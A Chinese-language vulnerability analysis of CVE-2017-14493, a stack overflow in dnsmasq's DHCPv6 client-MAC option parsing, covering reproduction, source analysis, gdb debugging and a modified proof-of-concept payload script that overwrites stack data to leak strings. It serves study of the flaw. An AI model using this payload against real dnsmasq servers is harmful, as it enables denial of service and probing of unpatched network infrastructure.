【CVE分析】CVE-2017-14493 dnsmasq栈缓冲区溢出漏洞

dnsmasq 栈缓冲区溢出漏洞

漏洞详情

具体信息参考 【CVE分析】CVE-2017-14492 dnsmasq堆缓冲区溢出漏洞

漏洞复现

环境搭建

参考 【CVE分析】CVE-2017-14492 dnsmasq堆缓冲区溢出漏洞。启动命令和调试配置方式也完全相同。

漏洞测试

在 GitHub 下载 poc :https://github.com/google/security-research-pocs/blob/master/vulnerabilities/dnsmasq/CVE-2017-14493.py

启动 dnsmasq 后,运行 poc:

1
python 14493.py ::1 547

触发了 stack smashing,可以确定是栈溢出。

image-20210825152543044

漏洞分析

分析之前的准备

参考链接:

DHCPv6 (Dynamic Host Configuration Protocol for IPv6) 是一个用来分配 IPv6 地址、前缀以及 DNS 等配置的网络协议。它属于应用层协议,封装于 UDP 中。其报文格式如下:

img
  • msg-type:长度 8 比特,表示报文的类型,总共定义了 13 种消息类型。
    • Solicit ,DHCPv6 客户端使用 Solicit 报文来发现 DHCPv6 服务器的位置。
    • Advertise ,DHCPv6 服务器发送 Advertise 报文来对 Solicit 报文进行回应,通告客户端能够提供哪些 DHCPv6 服务。
    • Request ,DHCPv6 客户端发送 Request 报文来向 DHCPv6 服务器请求 IPv6 地址和其它配置信息。
    • Confirm ,DHCPv6 客户端向任意可达的 DHCPv6 服务器发送 Confirm 报文检查自己目前获得的 IPv6 地址是否适用与它所连接的链路。
    • Reply ,DHCPv6 服务器在以下场合发送 Reply 报文:
      • DHCPv6 服务器发送携带了地址和配置信息的 Reply 消息来回应从 DHCPv6 客户端收到的 Solicit、Request、Renew、Rebind 报文。
      • DHCPv6 服务器发送携带配置信息的 Reply 消息来回应收到的 Information-Request 报文。
      • 用来回应 DHCPv6 客户端发来的 Confirm、Release、Decline 报文。
  • transaction-id:长度 24 比特,表示 DHCPv6 客户端随机生成的交互 ID(服务端发起的报文交互 ID 为 0),用来标识一次来回交互的 DHCPv6 报文。例如 Solicit/Advertise 报文为一次交互,Request/Reply 报文为另外一次交互,两者有不同的交互 ID。
  • options:根据消息类型不一样长度可变,表示 DHCPv6 的可选字段。此字段包含了 DHCPv6 服务器分配给 IPv6 主机的配置信息,如客户端标识、服务器标识或有效生命周期等信息。

用户向 DHCPv6 服务器请求 ip 的通信流程如下:

img

分析漏洞

和 CVE-2017-14492 漏洞非常类似,CVE-2017-14493 漏洞在于对 DHCPv6 数据包 option 字段的解析上。同样是在传递 MAC 地址时超过了缓冲区的大小。

导致崩溃的函数调用栈如下:

image-20210825181639476
1
2
3
4
5
6
7
8
// dhcp6_maybe_relay(), rfc3315.c, line 207
/* RFC-6939 */
if ((opt = opt6_find(opts, end, OPTION6_CLIENT_MAC, 3)))
{
state->mac_type = opt6_uint(opt, 0, 2);
state->mac_len = opt6_len(opt) - 2;
memcpy(&state->mac[0], opt6_ptr(opt, 2), state->mac_len);
}

memcpy() 从指针 opt 处进行字符串的复制。通过查找 state->mac 字段的定义,只定义了 16 字节的缓冲区。但是拷贝的字符串长度是 80 字节,显然造成溢出。

1
2
3
4
5
0x16f4328:	0x4141414141414141	0x4141414141414141
0x16f4338: 0x4141414141414141 0x4141414141414141
0x16f4348: 0x4141414141414141 0x4141414141414141
0x16f4358: 0x4141414141414141 0x4141414141414141
0x16f4368: 0x4141414141414141 0x00001337deadbeef
1
2
3
4
5
6
7
8
9
10
11
#define DHCP_CHADDR_MAX 16 // dhcp-protocol.h line 87
... ...
struct state {
unsigned char *clid;
... ...
unsigned char mac[DHCP_CHADDR_MAX];
unsigned int mac_len, mac_type;
#ifdef OPTION6_PREFIX_CLASS
struct prefix_class *send_prefix_class;
#endif
};

利用漏洞

前面确认了缓冲区溢出漏洞的发生,且崩溃时提示 stack smash,说明覆盖了 canary。接下来进行详细的分析。通过简单的判断,溢出所在的缓冲区在父级函数 dhcp6_reply() 中。在我编译出来的这个可执行文件里,它在调用函数之前保存了若干寄存器,而不是简单地 leave; ret 方式的返回:

image-20210828234228197 image-20210828234244988

为了省事,我在 0x42f840 处(dhcp6_reply() 函数的首地址)设置断点,查看函数返回地址信息:

image-20210828234519984

然后在 0x42dc77 处(dhcp6_maybe_relay() 函数第 211 行 memcpy 调用)设置断点,查看溢出能够覆盖的位置:

image-20210828235140493 image-20210828235427205

溢出字节的长度是可以控制的,只要多写 24 个字节就可以设置返回地址了。但是中间覆盖了 canary,canary 检查的代码如下,对应的 canary 字段在上面图中用绿色字段标注。

image-20210828235607756

我修改了一下 poc,把 payload 替换成 cyclic 2048 生成的不重复字符串,方便判断位置:

1
2
3
4
5
6
7
8
9
payload = "... ..." # cyclic 2048
pkg = b"".join([
u8(12), # DHCP6RELAYFORW
u16(0x0313), u8(0x37), # transaction ID
b"_" * (34 - 4),
# Option 79 = OPTION6_CLIENT_MAC
# Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16
gen_option(79, payload),
])

tips:gdb 调试也可以直接附加命令行参数

r -k -C /tmp/dnsmasq.conf –no-daemon –dhcp-range=fd00::2,fd00::ff –enable-ra

本来是想看看多覆盖几个字节,看看会不会有其他地方崩溃。但最后也没发现。调整了一下 exp,利用 stack smash 随便打印了几个字符串,勉强算是玩玩利用吧。如果要运行 shellcode 还是得关了 canary 才行。真是程序确实不好泄漏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaau"

payload = payload.replace('aloa', p32(0x441007)).replace('alpa', p32(0)) #nis-domain
payload = payload.replace('alqa', p32(0x441000)).replace('alra', p32(0)) #nis-server
payload = payload[:1162]

payload = payload.replace('akxa', p32(0x441000)).replace('akya', p32(0)) #nis-server

pkg = b"".join([
u8(12), # DHCP6RELAYFORW
u16(0x0313), u8(0x37), # transaction ID
b"_" * (34 - 4),
# Option 79 = OPTION6_CLIENT_MAC
# Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16
gen_option(79, payload),
])

image-20210830224920869